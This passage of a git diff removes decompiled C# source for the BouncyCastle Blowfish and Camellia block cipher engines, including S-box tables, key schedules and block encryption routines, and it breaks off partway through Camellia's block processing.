3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u, - 2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u, - 3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u, - 3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u, - 2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u, - 1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u - }; - - private static readonly int ROUNDS = 16; - - private static readonly int SBOX_SK = 256; - - private static readonly int P_SZ = ROUNDS + 2; - - private readonly uint[] S0; - - private readonly uint[] S1; - - private readonly uint[] S2; - - private readonly uint[] S3; - - private readonly uint[] P; - - private bool encrypting; - - private byte[] workingKey; - - public string AlgorithmName => "Blowfish"; - - public bool IsPartialBlockOkay => false; - - public BlowfishEngine() - { - S0 = new uint[SBOX_SK]; - S1 = new uint[SBOX_SK]; - S2 = new uint[SBOX_SK]; - S3 = new uint[SBOX_SK]; - P = new uint[P_SZ]; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to Blowfish init - " + Platform.GetTypeName(parameters)); - } - encrypting = forEncryption; - workingKey = ((KeyParameter)parameters).GetKey(); - SetKey(workingKey); - } - - public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey == null) - { - throw new InvalidOperationException("Blowfish not initialised"); - } - Check.DataLength(input, inOff, 8, "input buffer too short"); - Check.OutputLength(output, outOff, 8, "output buffer too short"); - if (encrypting) - { - EncryptBlock(input, inOff, output, outOff); - } - else - { - DecryptBlock(input, inOff, output, outOff); - } - return 8; - } - - public void Reset() - { - } - - public int GetBlockSize() - { - return 8; - } - - private uint F(uint x) - { - return ((S0[x >> 24] + S1[(x >> 16) & 0xFF]) ^ S2[(x >> 8) & 0xFF]) + S3[x & 0xFF]; - } - - private void ProcessTable(uint xl, uint xr, uint[] table) - { - int num = table.Length; - for (int i = 0; i < num; i += 2) - { - xl ^= P[0]; - for (int j = 1; j < ROUNDS; j += 2) - { - xr ^= F(xl) ^ P[j]; - xl ^= F(xr) ^ P[j + 1]; - } - xr ^= P[ROUNDS + 1]; - table[i] = xr; - table[i + 1] = xl; - xr = xl; - xl = table[i]; - } - } - - private void SetKey(byte[] key) - { - Array.Copy(KS0, 0, S0, 0, SBOX_SK); - Array.Copy(KS1, 0, S1, 0, SBOX_SK); - Array.Copy(KS2, 0, S2, 0, SBOX_SK); - Array.Copy(KS3, 0, S3, 0, SBOX_SK); - Array.Copy(KP, 0, P, 0, P_SZ); - int num = key.Length; - int num2 = 0; - for (int i = 0; i < P_SZ; i++) - { - uint num3 = 0u; - for (int j = 0; j < 4; j++) - { - num3 = (num3 << 8) | key[num2++]; - if (num2 >= num) - { - num2 = 0; - } - } - uint[] p; - uint[] array = (p = P); - int num4 = i; - nint num5 = num4; - array[num4] = p[num5] ^ num3; - } - ProcessTable(0u, 0u, P); - ProcessTable(P[P_SZ - 2], P[P_SZ - 1], S0); - ProcessTable(S0[SBOX_SK - 2], S0[SBOX_SK - 1], S1); - ProcessTable(S1[SBOX_SK - 2], S1[SBOX_SK - 1], S2); - ProcessTable(S2[SBOX_SK - 2], S2[SBOX_SK - 1], S3); - } - - private void EncryptBlock(byte[] src, int srcIndex, byte[] dst, int dstIndex) - { - uint num = Pack.BE_To_UInt32(src, srcIndex); - uint num2 = Pack.BE_To_UInt32(src, srcIndex + 4); - num ^= P[0]; - for (int i = 1; i < ROUNDS; i += 2) - { - num2 ^= F(num) ^ P[i]; - num ^= F(num2) ^ P[i + 1]; - } - num2 ^= P[ROUNDS + 1]; - Pack.UInt32_To_BE(num2, dst, dstIndex); - Pack.UInt32_To_BE(num, dst, dstIndex + 4); - } - - private void DecryptBlock(byte[] src, int srcIndex, byte[] dst, int dstIndex) - { - uint num = Pack.BE_To_UInt32(src, srcIndex); - uint num2 = Pack.BE_To_UInt32(src, srcIndex + 4); - num ^= P[ROUNDS + 1]; - for (int num3 = ROUNDS; num3 > 0; num3 -= 2) - { - num2 ^= F(num) ^ P[num3]; - num ^= F(num2) ^ P[num3 - 1]; - } - num2 ^= P[0]; - Pack.UInt32_To_BE(num2, dst, dstIndex); - Pack.UInt32_To_BE(num, dst, dstIndex + 4); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaEngine.cs deleted file mode 100644 index 3a0ab89..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/CamelliaEngine.cs +++ /dev/null @@ -1,548 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class CamelliaEngine : IBlockCipher -{ - private const int BLOCK_SIZE = 16; - - private bool initialised = false; - - private bool _keyIs128; - - private uint[] subkey = new uint[96]; - - private uint[] kw = new uint[8]; - - private uint[] ke = new uint[12]; - - private uint[] state = new uint[4]; - - private static readonly uint[] SIGMA = new uint[12] - { - 2694735487u, 1003262091u, 3061508184u, 1286239154u, 3337565999u, 3914302142u, 1426019237u, 4057165596u, 283453434u, 3731369245u, - 2958461122u, 3018244605u - }; - - private static readonly uint[] SBOX1_1110 = new uint[256] - { - 1886416896u, 2189591040u, 741092352u, 3974949888u, 3014898432u, 656877312u, 3233857536u, 3857048832u, 3840205824u, 2240120064u, - 1465341696u, 892679424u, 3941263872u, 202116096u, 2930683392u, 1094795520u, 589505280u, 4025478912u, 1802201856u, 2475922176u, - 1162167552u, 421075200u, 2779096320u, 555819264u, 3991792896u, 235802112u, 1330597632u, 1313754624u, 488447232u, 1701143808u, - 2459079168u, 3183328512u, 2256963072u, 3099113472u, 2947526400u, 2408550144u, 2088532992u, 3958106880u, 522133248u, 3469659648u, - 1044266496u, 808464384u, 3705461760u, 1600085760u, 1583242752u, 3318072576u, 185273088u, 437918208u, 2795939328u, 3789676800u, - 960051456u, 3402287616u, 3587560704u, 1195853568u, 1566399744u, 1027423488u, 3654932736u, 16843008u, 1515870720u, 3604403712u, - 1364283648u, 1448498688u, 1819044864u, 1296911616u, 2341178112u, 218959104u, 2593823232u, 1717986816u, 4227595008u, 3435973632u, - 2964369408u, 757935360u, 1953788928u, 303174144u, 724249344u, 538976256u, 4042321920u, 2981212416u, 2223277056u, 2576980224u, - 3755990784u, 1280068608u, 3419130624u, 3267543552u, 875836416u, 2122219008u, 1987474944u, 84215040u, 1835887872u, 3082270464u, - 2846468352u, 825307392u, 3520188672u, 387389184u, 67372032u, 3621246720u, 336860160u, 1482184704u, 976894464u, 1633771776u, - 3739147776u, 454761216u, 286331136u, 471604224u, 842150400u, 252645120u, 2627509248u, 370546176u, 1397969664u, 404232192u, - 4076007936u, 572662272u, 4278124032u, 1145324544u, 3486502656u, 2998055424u, 3284386560u, 3048584448u, 2054846976u, 2442236160u, - 606348288u, 134744064u, 3907577856u, 2829625344u, 1616928768u, 4244438016u, 1768515840u, 1347440640u, 2863311360u, 3503345664u, - 2694881280u, 2105376000u, 2711724288u, 2307492096u, 1650614784u, 2543294208u, 1414812672u, 1532713728u, 505290240u, 2509608192u, - 3772833792u, 4294967040u, 1684300800u, 3537031680u, 269488128u, 3301229568u, 0u, 1212696576u, 2745410304u, 4160222976u, - 1970631936u, 3688618752u, 2324335104u, 50529024u, 3873891840u, 3671775744u, 151587072u, 1061109504u, 3722304768u, 2492765184u, - 2273806080u, 1549556736u, 2206434048u, 33686016u, 3452816640u, 1246382592u, 2425393152u, 858993408u, 1936945920u, 1734829824u, - 4143379968u, 4092850944u, 2644352256u, 2139062016u, 3217014528u, 3806519808u, 1381126656u, 2610666240u, 3638089728u, 640034304u, - 3368601600u, 926365440u, 3334915584u, 993737472u, 2172748032u, 2526451200u, 1869573888u, 1263225600u, 320017152u, 3200171520u, - 1667457792u, 774778368u, 3924420864u, 2038003968u, 2812782336u, 2358021120u, 2678038272u, 1852730880u, 3166485504u, 2391707136u, - 690563328u, 4126536960u, 4193908992u, 3065427456u, 791621376u, 4261281024u, 3031741440u, 1499027712u, 2021160960u, 2560137216u, - 101058048u, 1785358848u, 3890734848u, 1179010560u, 1903259904u, 3132799488u, 3570717696u, 623191296u, 2880154368u, 1111638528u, - 2290649088u, 2728567296u, 2374864128u, 4210752000u, 1920102912u, 117901056u, 3115956480u, 1431655680u, 4177065984u, 4008635904u, - 2896997376u, 168430080u, 909522432u, 1229539584u, 707406336u, 1751672832u, 1010580480u, 943208448u, 4059164928u, 2762253312u, - 1077952512u, 673720320u, 3553874688u, 2071689984u, 3149642496u, 3385444608u, 1128481536u, 3250700544u, 353703168u, 3823362816u, - 2913840384u, 4109693952u, 2004317952u, 3351758592u, 2155905024u, 2661195264u - }; - - private static readonly uint[] SBOX4_4404 = new uint[256] - { - 1886388336u, 741081132u, 3014852787u, 3233808576u, 3840147684u, 1465319511u, 3941204202u, 2930639022u, 589496355u, 1802174571u, - 1162149957u, 2779054245u, 3991732461u, 1330577487u, 488439837u, 2459041938u, 2256928902u, 2947481775u, 2088501372u, 522125343u, - 1044250686u, 3705405660u, 1583218782u, 185270283u, 2795896998u, 960036921u, 3587506389u, 1566376029u, 3654877401u, 1515847770u, - 1364262993u, 1819017324u, 2341142667u, 2593783962u, 4227531003u, 2964324528u, 1953759348u, 724238379u, 4042260720u, 2223243396u, - 3755933919u, 3419078859u, 875823156u, 1987444854u, 1835860077u, 2846425257u, 3520135377u, 67371012u, 336855060u, 976879674u, - 3739091166u, 286326801u, 842137650u, 2627469468u, 1397948499u, 4075946226u, 4278059262u, 3486449871u, 3284336835u, 2054815866u, - 606339108u, 3907518696u, 1616904288u, 1768489065u, 2863268010u, 2694840480u, 2711683233u, 1650589794u, 1414791252u, 505282590u, - 3772776672u, 1684275300u, 269484048u, 0u, 2745368739u, 1970602101u, 2324299914u, 3873833190u, 151584777u, 3722248413u, - 2273771655u, 2206400643u, 3452764365u, 2425356432u, 1936916595u, 4143317238u, 2644312221u, 3216965823u, 1381105746u, 3638034648u, - 3368550600u, 3334865094u, 2172715137u, 1869545583u, 320012307u, 1667432547u, 3924361449u, 2812739751u, 2677997727u, 3166437564u, - 690552873u, 4193845497u, 791609391u, 3031695540u, 2021130360u, 101056518u, 3890675943u, 1903231089u, 3570663636u, 2880110763u, - 2290614408u, 2374828173u, 1920073842u, 3115909305u, 4177002744u, 2896953516u, 909508662u, 707395626u, 1010565180u, 4059103473u, - 1077936192u, 3553820883u, 3149594811u, 1128464451u, 353697813u, 2913796269u, 2004287607u, 2155872384u, 2189557890u, 3974889708u, - 656867367u, 3856990437u, 2240086149u, 892665909u, 202113036u, 1094778945u, 4025417967u, 2475884691u, 421068825u, 555810849u, - 235798542u, 1313734734u, 1701118053u, 3183280317u, 3099066552u, 2408513679u, 3958046955u, 3469607118u, 808452144u, 1600061535u, - 3318022341u, 437911578u, 3789619425u, 3402236106u, 1195835463u, 1027407933u, 16842753u, 3604349142u, 1448476758u, 1296891981u, - 218955789u, 1717960806u, 3435921612u, 757923885u, 303169554u, 538968096u, 2981167281u, 2576941209u, 1280049228u, 3267494082u, - 2122186878u, 84213765u, 3082223799u, 825294897u, 387383319u, 3621191895u, 1482162264u, 1633747041u, 454754331u, 471597084u, - 252641295u, 370540566u, 404226072u, 572653602u, 1145307204u, 2998010034u, 3048538293u, 2442199185u, 134742024u, 2829582504u, - 4244373756u, 1347420240u, 3503292624u, 2105344125u, 2307457161u, 2543255703u, 1532690523u, 2509570197u, 4294902015u, 3536978130u, - 3301179588u, 1212678216u, 4160159991u, 3688562907u, 50528259u, 3671720154u, 1061093439u, 2492727444u, 1549533276u, 33685506u, - 1246363722u, 858980403u, 1734803559u, 4092788979u, 2139029631u, 3806462178u, 2610626715u, 640024614u, 926351415u, 993722427u, - 2526412950u, 1263206475u, 3200123070u, 774766638u, 2037973113u, 2357985420u, 1852702830u, 2391670926u, 4126474485u, 3065381046u, - 4261216509u, 1499005017u, 2560098456u, 1785331818u, 1178992710u, 3132752058u, 623181861u, 1111621698u, 2728525986u, 4210688250u, - 117899271u, 1431634005u, 4008575214u, 168427530u, 1229520969u, 1751646312u, 943194168u, 2762211492u, 673710120u, 2071658619u, - 3385393353u, 3250651329u, 3823304931u, 4109631732u, 3351707847u, 2661154974u - }; - - private static readonly uint[] SBOX2_0222 = new uint[256] - { - 14737632u, 328965u, 5789784u, 14277081u, 6776679u, 5131854u, 8487297u, 13355979u, 13224393u, 723723u, - 11447982u, 6974058u, 14013909u, 1579032u, 6118749u, 8553090u, 4605510u, 14671839u, 14079702u, 2565927u, - 9079434u, 3289650u, 4934475u, 4342338u, 14408667u, 1842204u, 10395294u, 10263708u, 3815994u, 13290186u, - 2434341u, 8092539u, 855309u, 7434609u, 6250335u, 2039583u, 16316664u, 14145495u, 4079166u, 10329501u, - 8158332u, 6316128u, 12171705u, 12500670u, 12369084u, 9145227u, 1447446u, 3421236u, 5066061u, 12829635u, - 7500402u, 9803157u, 11250603u, 9342606u, 12237498u, 8026746u, 11776947u, 131586u, 11842740u, 11382189u, - 10658466u, 11316396u, 14211288u, 10132122u, 1513239u, 1710618u, 3487029u, 13421772u, 16250871u, 10066329u, - 6381921u, 5921370u, 15263976u, 2368548u, 5658198u, 4210752u, 14803425u, 6513507u, 592137u, 3355443u, - 12566463u, 10000536u, 9934743u, 8750469u, 6842472u, 16579836u, 15527148u, 657930u, 14342874u, 7303023u, - 5460819u, 6447714u, 10724259u, 3026478u, 526344u, 11513775u, 2631720u, 11579568u, 7631988u, 12763842u, - 12434877u, 3552822u, 2236962u, 3684408u, 6579300u, 1973790u, 3750201u, 2894892u, 10921638u, 3158064u, - 15066597u, 4473924u, 16645629u, 8947848u, 10461087u, 6645093u, 8882055u, 7039851u, 16053492u, 2302755u, - 4737096u, 1052688u, 13750737u, 5329233u, 12632256u, 16382457u, 13816530u, 10526880u, 5592405u, 10592673u, - 4276545u, 16448250u, 4408131u, 1250067u, 12895428u, 3092271u, 11053224u, 11974326u, 3947580u, 2829099u, - 12698049u, 16777215u, 13158600u, 10855845u, 2105376u, 9013641u, 0u, 9474192u, 4671303u, 15724527u, - 15395562u, 12040119u, 1381653u, 394758u, 13487565u, 11908533u, 1184274u, 8289918u, 12303291u, 2697513u, - 986895u, 12105912u, 460551u, 263172u, 10197915u, 9737364u, 2171169u, 6710886u, 15132390u, 13553358u, - 15592941u, 15198183u, 3881787u, 16711422u, 8355711u, 12961221u, 10790052u, 3618615u, 11645361u, 5000268u, - 9539985u, 7237230u, 9276813u, 7763574u, 197379u, 2960685u, 14606046u, 9868950u, 2500134u, 8224125u, - 13027014u, 6052956u, 13882323u, 15921906u, 5197647u, 1644825u, 4144959u, 14474460u, 7960953u, 1907997u, - 5395026u, 15461355u, 15987699u, 7171437u, 6184542u, 16514043u, 6908265u, 11711154u, 15790320u, 3223857u, - 789516u, 13948116u, 13619151u, 9211020u, 14869218u, 7697781u, 11119017u, 4868682u, 5723991u, 8684676u, - 1118481u, 4539717u, 1776411u, 16119285u, 15000804u, 921102u, 7566195u, 11184810u, 15856113u, 14540253u, - 5855577u, 1315860u, 7105644u, 9605778u, 5526612u, 13684944u, 7895160u, 7368816u, 14935011u, 4802889u, - 8421504u, 5263440u, 10987431u, 16185078u, 7829367u, 9671571u, 8816262u, 8618883u, 2763306u, 13092807u, - 5987163u, 15329769u, 15658734u, 9408399u, 65793u, 4013373u - }; - - private static readonly uint[] SBOX3_3033 = new uint[256] - { - 939538488u, 1090535745u, 369104406u, 1979741814u, 3640711641u, 2466288531u, 1610637408u, 4060148466u, 1912631922u, 3254829762u, - 2868947883u, 2583730842u, 1962964341u, 100664838u, 1459640151u, 2684395680u, 2432733585u, 4144035831u, 3036722613u, 3372272073u, - 2717950626u, 2348846220u, 3523269330u, 2415956112u, 4127258358u, 117442311u, 2801837991u, 654321447u, 2382401166u, 2986390194u, - 1224755529u, 3724599006u, 1124090691u, 1543527516u, 3607156695u, 3338717127u, 1040203326u, 4110480885u, 2399178639u, 1728079719u, - 520101663u, 402659352u, 1845522030u, 2936057775u, 788541231u, 3791708898u, 2231403909u, 218107149u, 1392530259u, 4026593520u, - 2617285788u, 1694524773u, 3925928682u, 2734728099u, 2919280302u, 2650840734u, 3959483628u, 2147516544u, 754986285u, 1795189611u, - 2818615464u, 721431339u, 905983542u, 2785060518u, 3305162181u, 2248181382u, 1291865421u, 855651123u, 4244700669u, 1711302246u, - 1476417624u, 2516620950u, 973093434u, 150997257u, 2499843477u, 268439568u, 2013296760u, 3623934168u, 1107313218u, 3422604492u, - 4009816047u, 637543974u, 3842041317u, 1627414881u, 436214298u, 1056980799u, 989870907u, 2181071490u, 3053500086u, 3674266587u, - 3556824276u, 2550175896u, 3892373736u, 2332068747u, 33554946u, 3942706155u, 167774730u, 738208812u, 486546717u, 2952835248u, - 1862299503u, 2365623693u, 2281736328u, 234884622u, 419436825u, 2264958855u, 1308642894u, 184552203u, 2835392937u, 201329676u, - 2030074233u, 285217041u, 2130739071u, 570434082u, 3875596263u, 1493195097u, 3774931425u, 3657489114u, 1023425853u, 3355494600u, - 301994514u, 67109892u, 1946186868u, 1409307732u, 805318704u, 2113961598u, 3019945140u, 671098920u, 1426085205u, 1744857192u, - 1342197840u, 3187719870u, 3489714384u, 3288384708u, 822096177u, 3405827019u, 704653866u, 2902502829u, 251662095u, 3389049546u, - 1879076976u, 4278255615u, 838873650u, 1761634665u, 134219784u, 1644192354u, 0u, 603989028u, 3506491857u, 4211145723u, - 3120609978u, 3976261101u, 1157645637u, 2164294017u, 1929409395u, 1828744557u, 2214626436u, 2667618207u, 3993038574u, 1241533002u, - 3271607235u, 771763758u, 3238052289u, 16777473u, 3858818790u, 620766501u, 1207978056u, 2566953369u, 3103832505u, 3003167667u, - 2063629179u, 4177590777u, 3456159438u, 3204497343u, 3741376479u, 1895854449u, 687876393u, 3439381965u, 1811967084u, 318771987u, - 1677747300u, 2600508315u, 1660969827u, 2634063261u, 3221274816u, 1258310475u, 3070277559u, 2768283045u, 2298513801u, 1593859935u, - 2969612721u, 385881879u, 4093703412u, 3154164924u, 3540046803u, 1174423110u, 3472936911u, 922761015u, 1577082462u, 1191200583u, - 2483066004u, 4194368250u, 4227923196u, 1526750043u, 2533398423u, 4261478142u, 1509972570u, 2885725356u, 1006648380u, 1275087948u, - 50332419u, 889206069u, 4076925939u, 587211555u, 3087055032u, 1560304989u, 1778412138u, 2449511058u, 3573601749u, 553656609u, - 1140868164u, 1358975313u, 3321939654u, 2097184125u, 956315961u, 2197848963u, 3691044060u, 2852170410u, 2080406652u, 1996519287u, - 1442862678u, 83887365u, 452991771u, 2751505572u, 352326933u, 872428596u, 503324190u, 469769244u, 4160813304u, 1375752786u, - 536879136u, 335549460u, 3909151209u, 3170942397u, 3707821533u, 3825263844u, 2701173153u, 3758153952u, 2315291274u, 4043370993u, - 3590379222u, 2046851706u, 3137387451u, 3808486371u, 1073758272u, 1325420367u - }; - - public virtual string AlgorithmName => "Camellia"; - - public virtual bool IsPartialBlockOkay => false; - - private static uint rightRotate(uint x, int s) - { - return (x >> s) + (x << 32 - s); - } - - private static uint leftRotate(uint x, int s) - { - return (x << s) + (x >> 32 - s); - } - - private static void roldq(int rot, uint[] ki, int ioff, uint[] ko, int ooff) - { - ko[ooff] = (ki[ioff] << rot) | (ki[1 + ioff] >> 32 - rot); - ko[1 + ooff] = (ki[1 + ioff] << rot) | (ki[2 + ioff] >> 32 - rot); - ko[2 + ooff] = (ki[2 + ioff] << rot) | (ki[3 + ioff] >> 32 - rot); - ko[3 + ooff] = (ki[3 + ioff] << rot) | (ki[ioff] >> 32 - rot); - ki[ioff] = ko[ooff]; - ki[1 + ioff] = ko[1 + ooff]; - ki[2 + ioff] = ko[2 + ooff]; - ki[3 + ioff] = ko[3 + ooff]; - } - - private static void decroldq(int rot, uint[] ki, int ioff, uint[] ko, int ooff) - { - ko[2 + ooff] = (ki[ioff] << rot) | (ki[1 + ioff] >> 32 - rot); - ko[3 + ooff] = (ki[1 + ioff] << rot) | (ki[2 + ioff] >> 32 - rot); - ko[ooff] = (ki[2 + ioff] << rot) | (ki[3 + ioff] >> 32 - rot); - ko[1 + ooff] = (ki[3 + ioff] << rot) | (ki[ioff] >> 32 - rot); - ki[ioff] = ko[2 + ooff]; - ki[1 + ioff] = ko[3 + ooff]; - ki[2 + ioff] = ko[ooff]; - ki[3 + ioff] = ko[1 + ooff]; - } - - private static void roldqo32(int rot, uint[] ki, int ioff, uint[] ko, int ooff) - { - ko[ooff] = (ki[1 + ioff] << rot - 32) | (ki[2 + ioff] >> 64 - rot); - ko[1 + ooff] = (ki[2 + ioff] << rot - 32) | (ki[3 + ioff] >> 64 - rot); - ko[2 + ooff] = (ki[3 + ioff] << rot - 32) | (ki[ioff] >> 64 - rot); - ko[3 + ooff] = (ki[ioff] << rot - 32) | (ki[1 + ioff] >> 64 - rot); - ki[ioff] = ko[ooff]; - ki[1 + ioff] = ko[1 + ooff]; - ki[2 + ioff] = ko[2 + ooff]; - ki[3 + ioff] = ko[3 + ooff]; - } - - private static void decroldqo32(int rot, uint[] ki, int ioff, uint[] ko, int ooff) - { - ko[2 + ooff] = (ki[1 + ioff] << rot - 32) | (ki[2 + ioff] >> 64 - rot); - ko[3 + ooff] = (ki[2 + ioff] << rot - 32) | (ki[3 + ioff] >> 64 - rot); - ko[ooff] = (ki[3 + ioff] << rot - 32) | (ki[ioff] >> 64 - rot); - ko[1 + ooff] = (ki[ioff] << rot - 32) | (ki[1 + ioff] >> 64 - rot); - ki[ioff] = ko[2 + ooff]; - ki[1 + ioff] = ko[3 + ooff]; - ki[2 + ioff] = ko[ooff]; - ki[3 + ioff] = ko[1 + ooff]; - } - - private static uint bytes2uint(byte[] src, int offset) - { - uint num = 0u; - for (int i = 0; i < 4; i++) - { - num = (num << 8) + src[i + offset]; - } - return num; - } - - private static void uint2bytes(uint word, byte[] dst, int offset) - { - for (int i = 0; i < 4; i++) - { - dst[3 - i + offset] = (byte)word; - word >>= 8; - } - } - - private static void camelliaF2(uint[] s, uint[] skey, int keyoff) - { - uint num = s[0] ^ skey[keyoff]; - uint num2 = SBOX4_4404[(byte)num]; - num2 ^= SBOX3_3033[(byte)(num >> 8)]; - num2 ^= SBOX2_0222[(byte)(num >> 16)]; - num2 ^= SBOX1_1110[(byte)(num >> 24)]; - uint num3 = s[1] ^ skey[1 + keyoff]; - uint num4 = SBOX1_1110[(byte)num3]; - num4 ^= SBOX4_4404[(byte)(num3 >> 8)]; - num4 ^= SBOX3_3033[(byte)(num3 >> 16)]; - num4 ^= SBOX2_0222[(byte)(num3 >> 24)]; - uint[] array; - (array = s)[2] = array[2] ^ (num2 ^ num4); - (array = s)[3] = array[3] ^ (num2 ^ num4 ^ rightRotate(num2, 8)); - num = s[2] ^ skey[2 + keyoff]; - num2 = SBOX4_4404[(byte)num]; - num2 ^= SBOX3_3033[(byte)(num >> 8)]; - num2 ^= SBOX2_0222[(byte)(num >> 16)]; - num2 ^= SBOX1_1110[(byte)(num >> 24)]; - num3 = s[3] ^ skey[3 + keyoff]; - num4 = SBOX1_1110[(byte)num3]; - num4 ^= SBOX4_4404[(byte)(num3 >> 8)]; - num4 ^= SBOX3_3033[(byte)(num3 >> 16)]; - num4 ^= SBOX2_0222[(byte)(num3 >> 24)]; - (array = s)[0] = array[0] ^ (num2 ^ num4); - (array = s)[1] = array[1] ^ (num2 ^ num4 ^ rightRotate(num2, 8)); - } - - private static void camelliaFLs(uint[] s, uint[] fkey, int keyoff) - { - uint[] array; - (array = s)[1] = array[1] ^ leftRotate(s[0] & fkey[keyoff], 1); - (array = s)[0] = array[0] ^ (fkey[1 + keyoff] | s[1]); - (array = s)[2] = array[2] ^ (fkey[3 + keyoff] | s[3]); - (array = s)[3] = array[3] ^ leftRotate(fkey[2 + keyoff] & s[2], 1); - } - - private void setKey(bool forEncryption, byte[] key) - { - uint[] array = new uint[8]; - uint[] array2 = new uint[4]; - uint[] array3 = new uint[4]; - uint[] array4 = new uint[4]; - switch (key.Length) - { - case 16: - _keyIs128 = true; - array[0] = bytes2uint(key, 0); - array[1] = bytes2uint(key, 4); - array[2] = bytes2uint(key, 8); - array[3] = bytes2uint(key, 12); - array[4] = (array[5] = (array[6] = (array[7] = 0u))); - break; - case 24: - array[0] = bytes2uint(key, 0); - array[1] = bytes2uint(key, 4); - array[2] = bytes2uint(key, 8); - array[3] = bytes2uint(key, 12); - array[4] = bytes2uint(key, 16); - array[5] = bytes2uint(key, 20); - array[6] = ~array[4]; - array[7] = ~array[5]; - _keyIs128 = false; - break; - case 32: - array[0] = bytes2uint(key, 0); - array[1] = bytes2uint(key, 4); - array[2] = bytes2uint(key, 8); - array[3] = bytes2uint(key, 12); - array[4] = bytes2uint(key, 16); - array[5] = bytes2uint(key, 20); - array[6] = bytes2uint(key, 24); - array[7] = bytes2uint(key, 28); - _keyIs128 = false; - break; - default: - throw new ArgumentException("key sizes are only 16/24/32 bytes."); - } - for (int i = 0; i < 4; i++) - { - array2[i] = array[i] ^ array[i + 4]; - } - camelliaF2(array2, SIGMA, 0); - for (int j = 0; j < 4; j++) - { - uint[] array6; - uint[] array5 = (array6 = array2); - int num = j; - nint num2 = num; - array5[num] = array6[num2] ^ array[j]; - } - camelliaF2(array2, SIGMA, 4); - if (_keyIs128) - { - if (forEncryption) - { - kw[0] = array[0]; - kw[1] = array[1]; - kw[2] = array[2]; - kw[3] = array[3]; - roldq(15, array, 0, subkey, 4); - roldq(30, array, 0, subkey, 12); - roldq(15, array, 0, array4, 0); - subkey[18] = array4[2]; - subkey[19] = array4[3]; - roldq(17, array, 0, ke, 4); - roldq(17, array, 0, subkey, 24); - roldq(17, array, 0, subkey, 32); - subkey[0] = array2[0]; - subkey[1] = array2[1]; - subkey[2] = array2[2]; - subkey[3] = array2[3]; - roldq(15, array2, 0, subkey, 8); - roldq(15, array2, 0, ke, 0); - roldq(15, array2, 0, array4, 0); - subkey[16] = array4[0]; - subkey[17] = array4[1]; - roldq(15, array2, 0, subkey, 20); - roldqo32(34, array2, 0, subkey, 28); - roldq(17, array2, 0, kw, 4); - } - else - { - kw[4] = array[0]; - kw[5] = array[1]; - kw[6] = array[2]; - kw[7] = array[3]; - decroldq(15, array, 0, subkey, 28); - decroldq(30, array, 0, subkey, 20); - decroldq(15, array, 0, array4, 0); - subkey[16] = array4[0]; - subkey[17] = array4[1]; - decroldq(17, array, 0, ke, 0); - decroldq(17, array, 0, subkey, 8); - decroldq(17, array, 0, subkey, 0); - subkey[34] = array2[0]; - subkey[35] = array2[1]; - subkey[32] = array2[2]; - subkey[33] = array2[3]; - decroldq(15, array2, 0, subkey, 24); - decroldq(15, array2, 0, ke, 4); - decroldq(15, array2, 0, array4, 0); - subkey[18] = array4[2]; - subkey[19] = array4[3]; - decroldq(15, array2, 0, subkey, 12); - decroldqo32(34, array2, 0, subkey, 4); - roldq(17, array2, 0, kw, 0); - } - return; - } - for (int k = 0; k < 4; k++) - { - array3[k] = array2[k] ^ array[k + 4]; - } - camelliaF2(array3, SIGMA, 8); - if (forEncryption) - { - kw[0] = array[0]; - kw[1] = array[1]; - kw[2] = array[2]; - kw[3] = array[3]; - roldqo32(45, array, 0, subkey, 16); - roldq(15, array, 0, ke, 4); - roldq(17, array, 0, subkey, 32); - roldqo32(34, array, 0, subkey, 44); - roldq(15, array, 4, subkey, 4); - roldq(15, array, 4, ke, 0); - roldq(30, array, 4, subkey, 24); - roldqo32(34, array, 4, subkey, 36); - roldq(15, array2, 0, subkey, 8); - roldq(30, array2, 0, subkey, 20); - ke[8] = array2[1]; - ke[9] = array2[2]; - ke[10] = array2[3]; - ke[11] = array2[0]; - roldqo32(49, array2, 0, subkey, 40); - subkey[0] = array3[0]; - subkey[1] = array3[1]; - subkey[2] = array3[2]; - subkey[3] = array3[3]; - roldq(30, array3, 0, subkey, 12); - roldq(30, array3, 0, subkey, 28); - roldqo32(51, array3, 0, kw, 4); - } - else - { - kw[4] = array[0]; - kw[5] = array[1]; - kw[6] = array[2]; - kw[7] = array[3]; - decroldqo32(45, array, 0, subkey, 28); - decroldq(15, array, 0, ke, 4); - decroldq(17, array, 0, subkey, 12); - decroldqo32(34, array, 0, subkey, 0); - decroldq(15, array, 4, subkey, 40); - decroldq(15, array, 4, ke, 8); - decroldq(30, array, 4, subkey, 20); - decroldqo32(34, array, 4, subkey, 8); - decroldq(15, array2, 0, subkey, 36); - decroldq(30, array2, 0, subkey, 24); - ke[2] = array2[1]; - ke[3] = array2[2]; - ke[0] = array2[3]; - ke[1] = array2[0]; - decroldqo32(49, array2, 0, subkey, 4); - subkey[46] = array3[0]; - subkey[47] = array3[1]; - subkey[44] = array3[2]; - subkey[45] = array3[3]; - decroldq(30, array3, 0, subkey, 32); - decroldq(30, array3, 0, subkey, 16); - roldqo32(51, array3, 0, kw, 0); - } - } - - private int processBlock128(byte[] input, int inOff, byte[] output, int outOff) - { - uint[] array2; - for (int i = 0; i < 4; i++) - { - state[i] = bytes2uint(input, inOff + i * 4); - uint[] array = (array2 = state); - int num = i; - nint num2 = num; - array[num] = array2[num2] ^ kw[i]; - } - camelliaF2(state, subkey, 0); - camelliaF2(state, subkey, 4); - camelliaF2(state, subkey, 8); - camelliaFLs(state, ke, 0); - 